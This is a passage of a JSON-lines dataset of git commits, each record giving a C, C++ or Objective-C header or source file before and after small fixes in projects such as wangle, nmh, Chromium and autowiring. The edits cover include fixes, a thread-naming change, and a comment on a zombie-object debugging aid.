cxx-root,pspe\/root,abhinavmoudgil95\/root,evgeny-boger\/root,karies\/root,mattkretz\/root,karies\/root,olifre\/root,beniz\/root,abhinavmoudgil95\/root,karies\/root,arch1tect0r\/root,root-mirror\/root,sirinath\/root,Duraznos\/root,gganis\/root,gbitzes\/root,tc3t\/qoot,kirbyherm\/root-r-tools,mkret2\/root,CristinaCristescu\/root,CristinaCristescu\/root,zzxuanyuan\/root,georgtroska\/root,jrtomps\/root,zzxuanyuan\/root-compressor-dummy,esakellari\/root,abhinavmoudgil95\/root,0x0all\/ROOT,mattkretz\/root,beniz\/root,smarinac\/root,mhuwiler\/rootauto,agarciamontoro\/root,BerserkerTroll\/root,sbinet\/cxx-root,BerserkerTroll\/root,sirinath\/root,krafczyk\/root,arch1tect0r\/root,georgtroska\/root,agarciamontoro\/root,zzxuanyuan\/root,omazapa\/root,tc3t\/qoot,georgtroska\/root,buuck\/root,satyarth934\/root,dfunke\/root,pspe\/root,mkret2\/root,0x0all\/ROOT,Duraznos\/root,mattkretz\/root,pspe\/root,mkret2\/root,olifre\/root,perovic\/root,zzxuanyuan\/root-compressor-dummy,strykejern\/TTreeReader,dfunke\/root,gbitzes\/root,omazapa\/root-old,sawenzel\/root,simonpf\/root,karies\/root,omazapa\/root-old,sbinet\/cxx-root,olifre\/root,mhuwiler\/rootauto,jrtomps\/root,gganis\/root,perovic\/root,krafczyk\/root,lgiommi\/root,alexschlueter\/cern-root,satyarth934\/root,ffurano\/root5,0x0all\/ROOT,davidlt\/root,olifre\/root,simonpf\/root,zzxuanyuan\/root,beniz\/root,BerserkerTroll\/root,CristinaCristescu\/root,smarinac\/root,perovic\/root,Duraznos\/root,sirinath\/root,lgiommi\/root,kirbyherm\/root-r-tools,CristinaCristescu\/root,Y--\/root,Duraznos\/root,veprbl\/root,simonpf\/root,smarinac\/root,root-mirror\/root,olifre\/root,krafczyk\/root,arch1tect0r\/root,BerserkerTroll\/root,thomaskeck\/root,pspe\/root,karies\/root,simonpf\/root,root-mirror\/root,satyarth934\/root,vukasinmilosevic\/root,smarinac\/root,omazapa\/root,abhinavmoudgil95\/root,perovic\/root,evgeny-boger\/root,kirbyherm\/root-r-tools,zzxuanyuan\/root,simonpf\/root,omazapa\/root,krafczyk\/root,Y--\/root,zzxuanyuan\/root,root-mirror\/root,dfunke\/root,alexschlueter\/cern-root,arch1tect0r\/root,zzxuanyuan\/root-compressor-dummy,gganis\/root,root-mirror\/root,arch1tect0r\/root,thomaskeck\/root,gbitzes\/root,esakellari\/my_root_for_test,vukasinmilosevic\/root,esakellari\/my_root_for_test,alexschlueter\/cern-root,thomaskeck\/root,jrtomps\/root,smarinac\/root,dfunke\/root,alexschlueter\/cern-root,evgeny-boger\/root,perovic\/root,nilqed\/root,nilqed\/root,agarciamontoro\/root,Y--\/root,ffurano\/root5,karies\/root,vukasinmilosevic\/root,dfunke\/root,vukasinmilosevic\/root,omazapa\/root,0x0all\/ROOT,Y--\/root,root-mirror\/root,tc3t\/qoot,buuck\/root,Y--\/root,zzxuanyuan\/root-compressor-dummy,omazapa\/root-old,mkret2\/root,cxx-hep\/root-cern,esakellari\/root,BerserkerTroll\/root,tc3t\/qoot,esakellari\/my_root_for_test,Y--\/root,beniz\/root,nilqed\/root,davidlt\/root,gganis\/root,simonpf\/root,mattkretz\/root,simonpf\/root,zzxuanyuan\/root-compressor-dummy,Y--\/root,tc3t\/qoot,arch1tect0r\/root,nilqed\/root,zzxuanyuan\/root,bbockelm\/root,satyarth934\/root,davidlt\/root,sbinet\/cxx-root,georgtroska\/root,mhuwiler\/rootauto,strykejern\/TTreeReader,lgiommi\/root,Dr15Jones\/root,omazapa\/root-old,bbockelm\/root,bbockelm\/root,mattkretz\/root,dfunke\/root,agarciamontoro\/root,evgeny-boger\/root,BerserkerTroll\/root,georgtroska\/root,georgtroska\/root,gbitzes\/root,kirbyherm\/root-r-tools,zzxuanyuan\/root-compressor-dummy,evgeny-boger\/root,zzxuanyuan\/root-compressor-dummy,0x0all\/ROOT,nilqed\/root,thomaskeck\/root,strykejern\/TTreeReader,abhinavmoudgil95\/root,zzxuanyuan\/root,karies\/root,nilqed\/root,omazapa\/root,lgiommi\/root,alexschlueter\/cern-root,evgeny-boger\/root,mhuwiler\/rootauto,pspe\/root,sirinath\/root,bbockelm\/root,sirinath\/root,omazapa\/root-old,nilqed\/root,beniz\/root,zzxuanyuan\/root,arch1tect0r\/root,Duraznos\/root,dfunke\/root,cxx-hep\/root-cern,mattkretz\/root,evgeny-boger\/root,abhinavmoudgil95\/root,Dr15Jones\/root,olifre\/root,thomaskeck\/root,vukasinmilosevic\/root,beniz\/root,Y--\/root,smarinac\/root,root-mirror\/root,esakellari\/root,veprbl\/root,gbitzes\/root,Y--\/root,bbockelm\/root,sawenzel\/root,lgiommi\/root,lgiommi\/root,Dr15Jones\/root,esakellari\/my_root_for_test,CristinaCristescu\/root,sirinath\/root,jrtomps\/root,gbitzes\/root,omazapa\/root,sirinath\/root,gbitzes\/root,BerserkerTroll\/root,satyarth934\/root,root-mirror\/root,arch1tect0r\/root,sirinath\/root,gbitzes\/root,omazapa\/root-old,sirinath\/root,lgiommi\/root,veprbl\/root,thomaskeck\/root,mhuwiler\/rootauto,olifre\/root,perovic\/root,gganis\/root,omazapa\/root-old,olifre\/root,buuck\/root,georgtroska\/root,tc3t\/qoot,mkret2\/root,BerserkerTroll\/root,davidlt\/root,zzxuanyuan\/root,satyarth934\/root,agarciamontoro\/root,strykejern\/TTreeReader,abhinavmoudgil95\/root,mhuwiler\/rootauto,satyarth934\/root,CristinaCristescu\/root,nilqed\/root,kirbyherm\/root-r-tools,veprbl\/root,perovic\/root,tc3t\/qoot,Duraznos\/root,mhuwiler\/rootauto,krafczyk\/root,Duraznos\/root,gganis\/root,omazapa\/root,arch1tect0r\/root,Dr15Jones\/root,georgtroska\/root,mhuwiler\/rootauto,lgiommi\/root,veprbl\/root,veprbl\/root,Dr15Jones\/root,vukasinmilosevic\/root,Duraznos\/root,abhinavmoudgil95\/root,lgiommi\/root,cxx-hep\/root-cern,perovic\/root,zzxuanyuan\/root-compressor-dummy,omazapa\/root,sawenzel\/root,olifre\/root,sirinath\/root,perovic\/root,nilqed\/root,jrtomps\/root,CristinaCristescu\/root,buuck\/root,vukasinmilosevic\/root,jrtomps\/root,esakellari\/root,georgtroska\/root,tc3t\/qoot,krafczyk\/root,jrtomps\/root,satyarth934\/root,mkret2\/root,cxx-hep\/root-cern,sbinet\/cxx-root"}
{"commit":"fbf9f480bc7faebf123213c2932022c7e0ba4321","old_file":"wangle\/concurrent\/NamedThreadFactory.h","new_file":"wangle\/concurrent\/NamedThreadFactory.h","old_contents":"\/*\n *  Copyright (c) 2017, Facebook, Inc.\n *  All rights reserved.\n *\n *  This source code is licensed under the BSD-style license found in the\n *  LICENSE file in the root directory of this source tree. An additional grant\n *  of patent rights can be found in the PATENTS file in the same directory.\n *\n *\/\n\n#pragma once\n\n#include <atomic>\n#include <string>\n#include <thread>\n\n#include <wangle\/concurrent\/ThreadFactory.h>\n#include <folly\/Conv.h>\n#include <folly\/Range.h>\n#include <folly\/ThreadName.h>\n\nnamespace wangle {\n\nclass NamedThreadFactory : public ThreadFactory {\n public:\n  explicit NamedThreadFactory(folly::StringPiece prefix)\n    : prefix_(prefix.str()), suffix_(0) {}\n\n  std::thread newThread(folly::Func&& func) override {\n    auto thread = std::thread(std::move(func));\n    folly::setThreadName(\n        thread.native_handle(),\n        folly::to<std::string>(prefix_, suffix_++));\n    return thread;\n  }\n\n  void setNamePrefix(folly::StringPiece prefix) {\n    prefix_ = prefix.str();\n  }\n\n  std::string getNamePrefix() {\n    return prefix_;\n  }\n\n private:\n  std::string prefix_;\n  std::atomic<uint64_t> suffix_;\n};\n\n} \/\/ namespace wangle\n","new_contents":"\/*\n *  Copyright (c) 2017, Facebook, Inc.\n *  All rights reserved.\n *\n *  This source code is licensed under the BSD-style license found in the\n *  LICENSE file in the root directory of this source tree. An additional grant\n *  of patent rights can be found in the PATENTS file in the same directory.\n *\n *\/\n\n#pragma once\n\n#include <atomic>\n#include <string>\n#include <thread>\n\n#include <wangle\/concurrent\/ThreadFactory.h>\n#include <folly\/Conv.h>\n#include <folly\/Range.h>\n#include <folly\/ThreadName.h>\n\nnamespace wangle {\n\nclass NamedThreadFactory : public ThreadFactory {\n public:\n  explicit NamedThreadFactory(folly::StringPiece prefix)\n    : prefix_(prefix.str()), suffix_(0) {}\n\n  std::thread newThread(folly::Func&& func) override {\n    auto thread = std::thread([&](folly::Func&& funct) {\n      folly::setThreadName(folly::to<std::string>(prefix_, suffix_++));\n      funct();\n    }, std::move(func));\n    return thread;\n  }\n\n  void setNamePrefix(folly::StringPiece prefix) {\n    prefix_ = prefix.str();\n  }\n\n  std::string getNamePrefix() {\n    return prefix_;\n  }\n\n private:\n  std::string prefix_;\n  std::atomic<uint64_t> suffix_;\n};\n\n} \/\/ namespace wangle\n","subject":"Switch various calls to folly::setThreadName to set the current thread's name","message":"Switch various calls to folly::setThreadName to set the current thread's name\n\nSummary: This is in preparation for killing the pthread_t overload of folly::setThreadName.\n\nReviewed By: yfeldblum\n\nDifferential Revision: D5012627\n\nfbshipit-source-id: a4e6e2c2cb5bd02b1ebea85c305eac59355a7d42\n","lang":"C","license":"apache-2.0","repos":"facebook\/wangle,facebook\/wangle,facebook\/wangle"}
{"commit":"1210d9a9faf1f60edd489b74c9b74414fcacb6c2","old_file":"src\/Application.h","new_file":"src\/Application.h","old_contents":"\/\/\n\/\/ Created by Dawid Drozd aka Gelldur on 05.02.16.\n\/\/\n\n#pragma once\n\n#include <string>\n#include <memory>\n\n#include <api\/ApiThreadPool.h>\n#include <data\/Preferences.h>\n#include <platform\/Bridge.h>\n#include <screen\/ScreenCreator.h>\n\n#include \"UILoop.h\"\n\nclass Application\n{\npublic:\n\tApplication(CrossMobile::Platform::Bridge* bridge, ScreenCreator* screenCreator);\n\tvirtual ~Application() = default;\n\n\tvirtual void onCreate();\n\n\tvirtual void startScreen(const std::string& screenName);\n\n\tUILoop& getUILoop()\n\t{\n\t\treturn _uiLoop;\n\t}\n\n\tApiThreadPool& getApiThreadPool()\n\t{\n\t\treturn *_apiThreadPool;\n\t}\n\n\tPreferences& getPreferences()\n\t{\n\t\treturn _preferences;\n\t}\n\n\tconst std::unique_ptr<ScreenCreator>& getScreenCreator() const;\n\n\tCrossMobile::Platform::Bridge& getBridge();\n\n\tstatic Application* getInstance();\n\nprivate:\n\tUILoop _uiLoop;\n\tstd::unique_ptr<ApiThreadPool> _apiThreadPool;\n\tPreferences _preferences;\n\tstd::unique_ptr<CrossMobile::Platform::Bridge> _bridge;\n\tstd::unique_ptr<ScreenCreator> _screenCreator;\n};\n","new_contents":"\/\/\n\/\/ Created by Dawid Drozd aka Gelldur on 05.02.16.\n\/\/\n\n#pragma once\n\n#include <string>\n#include <memory>\n\n#include <api\/ApiThreadPool.h>\n#include <data\/Preferences.h>\n#include <platform\/Bridge.h>\n#include <screen\/ScreenCreator.h>\n\n#include \"UILoop.h\"\n\nclass Application\n{\npublic:\n\tApplication(CrossMobile::Platform::Bridge* bridge, ScreenCreator* screenCreator);\n\tvirtual ~Application() = default;\n\n\tvirtual void onCreate();\n\n\tvirtual void startScreen(const std::string& screenName);\n\n\tUILoop& getUILoop()\n\t{\n\t\treturn _uiLoop;\n\t}\n\n\tApiThreadPool& getApiThreadPool()\n\t{\n\t\treturn _apiThreadPool;\n\t}\n\n\tPreferences& getPreferences()\n\t{\n\t\treturn _preferences;\n\t}\n\n\tconst std::unique_ptr<ScreenCreator>& getScreenCreator() const;\n\n\tCrossMobile::Platform::Bridge& getBridge();\n\n\tstatic Application* getInstance();\n\nprivate:\n\tUILoop _uiLoop;\n\tApiThreadPool _apiThreadPool;\n\tPreferences _preferences;\n\tstd::unique_ptr<CrossMobile::Platform::Bridge> _bridge;\n\tstd::unique_ptr<ScreenCreator> _screenCreator;\n};\n","subject":"Fix ApiThreadPool after android changes","message":"Fix ApiThreadPool after android changes\n","lang":"C","license":"apache-2.0","repos":"gelldur\/DexodeEngine,gelldur\/DexodeEngine,gelldur\/DexodeEngine"}
{"commit":"cb7e078f9a6dcb0762ee5a006f40253e6e510879","old_file":"TLKSocketIOSignalingDelegate.h","new_file":"TLKSocketIOSignalingDelegate.h","old_contents":"\/\/\n\/\/  TLKSocketIOSignalingDelegate.h\n\/\/  Copyright (c) 2014 &yet, LLC and TLKWebRTC contributors\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@class TLKSocketIOSignaling;\n\n@protocol TLKSocketIOSignalingDelegate <NSObject>\n\n@optional\n\n\/\/ Called when a connect request has failed due to a bad room key. Delegate is expected to\n\/\/ get the room key from the user, and then call connect again with the correct key\n -(void)serverRequiresPassword:(TLKSocketIOSignaling*)server;\n\n-(void)addedStream:(TLKMediaStreamWrapper*)stream;\n-(void)removedStream:(TLKMediaStreamWrapper*)stream;\n\n-(void)peer:(NSString*)peer toggledAudioMute:(BOOL)mute;\n-(void)peer:(NSString*)peer toggledVideoMute:(BOOL)mute;\n-(void)lockChange:(BOOL)locked;\n\n@end\n","new_contents":"\/\/\n\/\/  TLKSocketIOSignalingDelegate.h\n\/\/  Copyright (c) 2014 &yet, LLC and TLKWebRTC contributors\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@class TLKSocketIOSignaling;\n@class TLKMediaStreamWrapper;\n\n@protocol TLKSocketIOSignalingDelegate <NSObject>\n\n@optional\n\n\/\/ Called when a connect request has failed due to a bad room key. Delegate is expected to\n\/\/ get the room key from the user, and then call connect again with the correct key\n -(void)serverRequiresPassword:(TLKSocketIOSignaling*)server;\n\n-(void)addedStream:(TLKMediaStreamWrapper*)stream;\n-(void)removedStream:(TLKMediaStreamWrapper*)stream;\n\n-(void)peer:(NSString*)peer toggledAudioMute:(BOOL)mute;\n-(void)peer:(NSString*)peer toggledVideoMute:(BOOL)mute;\n-(void)lockChange:(BOOL)locked;\n\n@end\n","subject":"Fix missing class forward declaration that could cause build errors with some include orders.","message":"Fix missing class forward declaration that could cause build errors with some include orders.","lang":"C","license":"mit","repos":"otalk\/TLKSimpleWebRTC,martinkubat\/TLKSimpleWebRTC"}
{"commit":"e3e136ee56fdb815e408b5764cf0f1e54fe7ad17","old_file":"sbr\/seq_setprev.c","new_file":"sbr\/seq_setprev.c","old_contents":"\n\/*\n * seq_setprev.c -- set the Previous-Sequence\n *\n * This code is Copyright (c) 2002, by the authors of nmh.  See the\n * COPYRIGHT file in the root directory of the nmh distribution for\n * complete copyright information.\n *\/\n\n#include <h\/mh.h>\n\n\/*\n * Add all the messages currently SELECTED to\n * the Previous-Sequence.  This way, when the next\n * command is given, there is a convenient way to\n * selected all the messages used in the previous\n * command.\n *\/\n\nvoid\nseq_setprev (struct msgs *mp)\n{\n    char **ap, *cp, *dp;\n\n    \/*\n     * Get the list of sequences for Previous-Sequence\n     * and split them.\n     *\/\n    if ((cp = context_find (psequence))) {\n\tdp = getcpy (cp);\n\tif (!(ap = brkstring (dp, \" \", \"\\n\")) || !*ap) {\n\t    free (dp);\n\t    return;\n\t}\n    } else {\n\treturn;\n    }\n\n    \/* Now add all SELECTED messages to each sequence *\/\n    for (; *ap; ap++)\n\tseq_addsel (mp, *ap, -1, 1);\n\n    free (dp);\n}\n","new_contents":"\n\/*\n * seq_setprev.c -- set the Previous-Sequence\n *\n * This code is Copyright (c) 2002, by the authors of nmh.  See the\n * COPYRIGHT file in the root directory of the nmh distribution for\n * complete copyright information.\n *\/\n\n#include <h\/mh.h>\n#include <h\/utils.h>\n\n\/*\n * Add all the messages currently SELECTED to\n * the Previous-Sequence.  This way, when the next\n * command is given, there is a convenient way to\n * selected all the messages used in the previous\n * command.\n *\/\n\nvoid\nseq_setprev (struct msgs *mp)\n{\n    char **ap, *cp, *dp;\n\n    \/*\n     * Get the list of sequences for Previous-Sequence\n     * and split them.\n     *\/\n    if ((cp = context_find (psequence))) {\n\tdp = mh_xstrdup(cp);\n\tif (!(ap = brkstring (dp, \" \", \"\\n\")) || !*ap) {\n\t    free (dp);\n\t    return;\n\t}\n    } else {\n\treturn;\n    }\n\n    \/* Now add all SELECTED messages to each sequence *\/\n    for (; *ap; ap++)\n\tseq_addsel (mp, *ap, -1, 1);\n\n    free (dp);\n}\n","subject":"Replace getcpy() with mh_xstrdup() where the string isn't NULL.","message":"Replace getcpy() with mh_xstrdup() where the string isn't NULL.\n","lang":"C","license":"bsd-3-clause","repos":"mcr\/nmh,mcr\/nmh"}
{"commit":"f98fbd91e74a366419c67071b39519b28c0e112c","old_file":"cbits\/honk-windows.c","new_file":"cbits\/honk-windows.c","old_contents":"\/*\n * Copyright 2011 Chris Wong.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"honk-windows.h\"\n\n#if !(defined(_WIN32))\n#  error This file can only be used on Microsoft Windows systems.\n#endif\n\n#include <windows.h>\n\n\/**\n * Windows doesn't need a handle to the console,\n * so we just use an arbitrary value instead\n *\/\nstatic const int default_handle = 42;\n\nint\nbeep_open() {\n    return default_handle;\n    }\n\nint\nbeep_do(handle_t handle, double freq, double len) {\n    \/* Check the user passed in the same handle we gave them earlier *\/\n    if (handle != default_handle)\n        FAIL;\n\n    \/* Perform the beep *\/\n    Beep((DWORD) freq, (DWORD) (len * 1000));\n\n    \/* Return the handle *\/\n    return handle;\n    }\n\nvoid\nbeep_close(handle_t handle) {\n    \/* Turn off the speaker, if it is running *\/\n    Beep(0, 0);\n    }\n","new_contents":"\/*\n * Copyright 2011 Chris Wong.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"honk.h\"\n\n#if !(defined(_WIN32))\n#  error This file can only be used on Microsoft Windows systems.\n#endif\n\n#include <windows.h>\n\n\/**\n * Windows doesn't need a handle to the console,\n * so we just use an arbitrary value instead\n *\/\nstatic const int default_handle = 42;\n\nint\nbeep_open() {\n    return default_handle;\n    }\n\nint\nbeep_do(handle_t handle, double freq, double len) {\n    \/* Check the user passed in the same handle we gave them earlier *\/\n    if (handle != default_handle)\n        FAIL;\n\n    \/* Perform the beep *\/\n    Beep((DWORD) freq, (DWORD) (len * 1000));\n\n    \/* Return the handle *\/\n    return handle;\n    }\n\nvoid\nbeep_close(handle_t handle) {\n    \/* Turn off the speaker, if it is running *\/\n    Beep(0, 0);\n    }\n","subject":"Fix typo in header name","message":"Fix typo in header name\n","lang":"C","license":"apache-2.0","repos":"lfairy\/honk"}
{"commit":"33e867ba6f31305b4591c77bfee8118fc3b4a349","old_file":"chrome\/browser\/cocoa\/objc_zombie.h","new_file":"chrome\/browser\/cocoa\/objc_zombie.h","old_contents":"\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_BROWSER_COCOA_NSOBJECT_ZOMBIE_H_\n#define CHROME_BROWSER_COCOA_NSOBJECT_ZOMBIE_H_\n#pragma once\n\n#import <Foundation\/Foundation.h>\n\n\/\/ You should think twice every single time you use anything from this\n\/\/ namespace.\nnamespace ObjcEvilDoers {\n\n\/\/ Enable zombies.  Returns NO if it fails to enable.\n\/\/\n\/\/ When |zombieAllObjects| is YES, all objects inheriting from\n\/\/ NSObject become zombies on -dealloc.  If NO, -shouldBecomeCrZombie\n\/\/ is queried to determine whether to make the object a zombie.\n\/\/\n\/\/ |zombieCount| controls how many zombies to store before freeing the\n\/\/ oldest.  Set to 0 to free objects immediately after making them\n\/\/ zombies.\nBOOL ZombieEnable(BOOL zombieAllObjects, size_t zombieCount);\n\n\/\/ Disable zombies.\nvoid ZombieDisable();\n\n}  \/\/ namespace ObjcEvilDoers\n\n@interface NSObject (CrZombie)\n- (BOOL)shouldBecomeCrZombie;\n@end\n\n#endif  \/\/ CHROME_BROWSER_COCOA_NSOBJECT_ZOMBIE_H_\n","new_contents":"\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_BROWSER_COCOA_NSOBJECT_ZOMBIE_H_\n#define CHROME_BROWSER_COCOA_NSOBJECT_ZOMBIE_H_\n#pragma once\n\n#import <Foundation\/Foundation.h>\n\n\/\/ You should think twice every single time you use anything from this\n\/\/ namespace.\nnamespace ObjcEvilDoers {\n\n\/\/ Enable zombie object debugging. This implements a variant of Apple's\n\/\/ NSZombieEnabled which can help expose use-after-free errors where messages\n\/\/ are sent to freed Objective-C objects in production builds.\n\/\/\n\/\/ Returns NO if it fails to enable.\n\/\/\n\/\/ When |zombieAllObjects| is YES, all objects inheriting from\n\/\/ NSObject become zombies on -dealloc.  If NO, -shouldBecomeCrZombie\n\/\/ is queried to determine whether to make the object a zombie.\n\/\/\n\/\/ |zombieCount| controls how many zombies to store before freeing the\n\/\/ oldest.  Set to 0 to free objects immediately after making them\n\/\/ zombies.\nBOOL ZombieEnable(BOOL zombieAllObjects, size_t zombieCount);\n\n\/\/ Disable zombies.\nvoid ZombieDisable();\n\n}  \/\/ namespace ObjcEvilDoers\n\n@interface NSObject (CrZombie)\n- (BOOL)shouldBecomeCrZombie;\n@end\n\n#endif  \/\/ CHROME_BROWSER_COCOA_NSOBJECT_ZOMBIE_H_\n","subject":"Add link to explanation of what we mean by zombie The person triaging \/ debugging a zombie crash may never have heard of this before.","message":"Add link to explanation of what we mean by zombie\nThe person triaging \/ debugging a zombie crash may never have heard of this before.\n\nBUG=None\nTEST=None\n\nReview URL: http:\/\/codereview.chromium.org\/3763002\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@62723 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"Crystalnix\/house-of-life-chromium,Crystalnix\/house-of-life-chromium,Crystalnix\/house-of-life-chromium,Crystalnix\/house-of-life-chromium,yitian134\/chromium,gavinp\/chromium,adobe\/chromium,yitian134\/chromium,yitian134\/chromium,gavinp\/chromium,gavinp\/chromium,gavinp\/chromium,gavinp\/chromium,adobe\/chromium,adobe\/chromium,gavinp\/chromium,ropik\/chromium,adobe\/chromium,ropik\/chromium,ropik\/chromium,adobe\/chromium,Crystalnix\/house-of-life-chromium,ropik\/chromium,ropik\/chromium,adobe\/chromium,Crystalnix\/house-of-life-chromium,gavinp\/chromium,yitian134\/chromium,ropik\/chromium,gavinp\/chromium,yitian134\/chromium,yitian134\/chromium,yitian134\/chromium,Crystalnix\/house-of-life-chromium,gavinp\/chromium,Crystalnix\/house-of-life-chromium,Crystalnix\/house-of-life-chromium,ropik\/chromium,yitian134\/chromium,adobe\/chromium,ropik\/chromium,adobe\/chromium,yitian134\/chromium,Crystalnix\/house-of-life-chromium,adobe\/chromium,ropik\/chromium,gavinp\/chromium,adobe\/chromium,adobe\/chromium,yitian134\/chromium,Crystalnix\/house-of-life-chromium"}
{"commit":"79278824c6433ef6634532a1b5192961acc248a4","old_file":"libqimessaging\/c\/qimessaging\/c\/object_c.h","new_file":"libqimessaging\/c\/qimessaging\/c\/object_c.h","old_contents":"\/*\n**\n** Author(s):\n**  - Cedric GESTES <gestes@aldebaran-robotics.com>\n**\n** Copyright (C) 2012 Aldebaran Robotics\n*\/\n\n#ifndef _QIMESSAGING_OBJECT_H_\n#define _QIMESSAGING_OBJECT_H_\n\n#include <qimessaging\/c\/api_c.h>\n\n#ifdef __cplusplus\nextern \"C\"\n{\n#endif\n\n  typedef struct qi_object_t_s  {} qi_object_t;\n\n  \/\/forward declaration\n  typedef struct qi_message_t_s qi_message_t;\n  typedef struct qi_future_t_s  qi_future_t;\n\n\n  QIMESSAGING_API typedef void (*qi_object_method_t)(const char *complete_signature, qi_message_t *msg, qi_message_t *ret, void *data);\n  QIMESSAGING_API qi_object_t *qi_object_create(const char *name);\n  QIMESSAGING_API void         qi_object_destroy(qi_object_t *object);\n\n  QIMESSAGING_API int          qi_object_register_method(qi_object_t *object, const char *complete_signature, qi_object_method_t func, void *data);\n\n  QIMESSAGING_API qi_future_t *qi_object_call(qi_object_t *object, const char *signature, qi_message_t *message);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n","new_contents":"\/*\n**\n** Author(s):\n**  - Cedric GESTES <gestes@aldebaran-robotics.com>\n**\n** Copyright (C) 2012 Aldebaran Robotics\n*\/\n\n#ifndef _QIMESSAGING_OBJECT_H_\n#define _QIMESSAGING_OBJECT_H_\n\n#include <qimessaging\/c\/api_c.h>\n\n#ifdef __cplusplus\nextern \"C\"\n{\n#endif\n\n  typedef struct qi_object_t_s  {} qi_object_t;\n\n  \/\/forward declaration\n  typedef struct qi_message_t_s qi_message_t;\n  typedef struct qi_future_t_s  qi_future_t;\n\n\n  typedef void (*qi_object_method_t)(const char *complete_signature, qi_message_t *msg, qi_message_t *ret, void *data);\n  QIMESSAGING_API qi_object_t *qi_object_create(const char *name);\n  QIMESSAGING_API void         qi_object_destroy(qi_object_t *object);\n\n  QIMESSAGING_API int          qi_object_register_method(qi_object_t *object, const char *complete_signature, qi_object_method_t func, void *data);\n\n  QIMESSAGING_API qi_future_t *qi_object_call(qi_object_t *object, const char *signature, qi_message_t *message);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n","subject":"Remove unnecessary API export on typedef","message":"Remove unnecessary API export on typedef\n\nChange-Id: Id9b225ad5a7a645763f4377c7f949e9c9bd4f890\nReviewed-on: http:\/\/gerrit.aldebaran.lan:8080\/4588\nReviewed-by: llec <42f1a1c02cacc0f5b0188f0127ea77bedfdcf21a@aldebaran-robotics.com>\nTested-by: llec <42f1a1c02cacc0f5b0188f0127ea77bedfdcf21a@aldebaran-robotics.com>\n","lang":"C","license":"bsd-3-clause","repos":"bsautron\/libqi,aldebaran\/libqi,aldebaran\/libqi,aldebaran\/libqi-java,aldebaran\/libqi-java,aldebaran\/libqi,aldebaran\/libqi-java,vbarbaresi\/libqi"}
{"commit":"2efca45c3c1e2186386bb713d4b0b37eb3adee61","old_file":"autowiring\/C++11\/boost_tuple.h","new_file":"autowiring\/C++11\/boost_tuple.h","old_contents":"\/\/ Copyright (C) 2012-2014 Leap Motion, Inc. All rights reserved.\n#pragma once\n\n#include <boost\/tuple\/tuple.hpp>\n\nnamespace std {\n  template<typename... Ts>\n  class tuple {\n  public:\n    tuple(const Ts&... ele):\n      m_tuple(ele...)\n    {}\n    virtual ~tuple(void){}\n\n    bool operator==(const tuple<Ts...>& other) const {\n      return m_tuple == other.m_tuple;\n    }\n\n    bool operator<(const tuple<Ts...>& other) const {\n      return m_tuple < other.m_tuple;\n    }\n\n    boost::tuple<Ts...> m_tuple;\n  };\n\n  template<int I, typename... Ts>\n  auto get(const ::std::tuple<Ts...>& tup) -> decltype(boost::get<I>(tup.m_tuple)) {\n    return boost::get<I>(tup.m_tuple);\n  }\n\n  template<typename... Ts>\n  ::std::tuple<Ts...> make_tuple(const Ts&... ele) {\n    return ::std::tuple<Ts...>(ele...);\n  }\n\n}\/\/namespace std\n","new_contents":"\/\/ Copyright (C) 2012-2014 Leap Motion, Inc. All rights reserved.\n#pragma once\n\n#include <boost\/tuple\/tuple.hpp>\n#include \"boost\/tuple\/tuple_comparison.hpp\"\n\nnamespace std {\n  template<typename... Ts>\n  class tuple {\n  public:\n    tuple(const Ts&... ele):\n      m_tuple(ele...)\n    {}\n    virtual ~tuple(void){}\n\n    bool operator==(const tuple<Ts...>& other) const {\n      return m_tuple == other.m_tuple;\n    }\n\n    bool operator<(const tuple<Ts...>& other) const {\n      return m_tuple < other.m_tuple;\n    }\n\n    boost::tuple<Ts...> m_tuple;\n  };\n\n  template<int I, typename... Ts>\n  auto get(const ::std::tuple<Ts...>& tup) -> decltype(boost::get<I>(tup.m_tuple)) {\n    return boost::get<I>(tup.m_tuple);\n  }\n\n  template<typename... Ts>\n  ::std::tuple<Ts...> make_tuple(const Ts&... ele) {\n    return ::std::tuple<Ts...>(ele...);\n  }\n\n}\/\/namespace std\n","subject":"Add boost tuple comparison header","message":"Add boost tuple comparison header\n","lang":"C","license":"apache-2.0","repos":"codemercenary\/autowiring,leapmotion\/autowiring,codemercenary\/autowiring,leapmotion\/autowiring,codemercenary\/autowiring,codemercenary\/autowiring,leapmotion\/autowiring,leapmotion\/autowiring,leapmotion\/autowiring,leapmotion\/autowiring,codemercenary\/autowiring,codemercenary\/autowiring"}
